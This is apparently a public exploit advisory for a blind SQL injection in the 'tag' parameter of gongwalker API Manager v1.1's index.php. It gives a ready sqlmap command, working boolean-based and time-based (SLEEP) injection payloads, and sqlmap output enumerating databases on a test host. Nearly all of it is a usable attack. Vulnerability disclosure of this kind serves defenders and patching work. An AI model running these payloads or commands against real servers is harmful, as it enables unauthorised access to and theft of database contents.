Gongwalker API Manager 1.1 - Blind SQL Injection

gongwalker API Manager v1.1 - Blind SQL Injection

# Exploit Title: gongwalker API Manager v1.1 - Blind SQL Injection
# Date: 2016-01-25
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian

# =================== Vulnerability Description =================== #
Api Manager's index.php used tag parameters is vulnerable
http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1

# ========================= SqlMap Query ========================== #
sqlm -u "http://127.0.0.1/vul_test/ApiManager/index.php?act=api&tag=1" --level 4 --dbs --no-cast -p tag

# ================= SqlMap Result(get My Test DB) ================= #
Parameter: tag (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: act=api&tag=1' RLIKE (SELECT (CASE WHEN (9435=9435) THEN 1 ELSE 0x28 END)) AND 'uUNb'='uUNb

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: act=api&tag=1' AND (SELECT * FROM (SELECT(SLEEP(5)))qakZ) AND 'cSPF'='cSPF
---
[21:14:21] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.0.11
[21:14:21] [INFO] fetching database names
[21:14:21] [INFO] fetching number of databases
[21:14:21] [INFO] resumed: 25
[21:14:21] [INFO] resumed: information_schema
[21:14:21] [INFO] resumed: "
[21:14:21] [INFO] resumed: ""
[21:14:21] [INFO] resumed: '
[21:14:21] [INFO] resumed: ''
[21:14:21] [INFO] resumed: '''
[21:14:21] [INFO] resumed: api
[21:14:21] [INFO] resumed: blackcat
[21:14:21] [INFO] resumed: edusec

...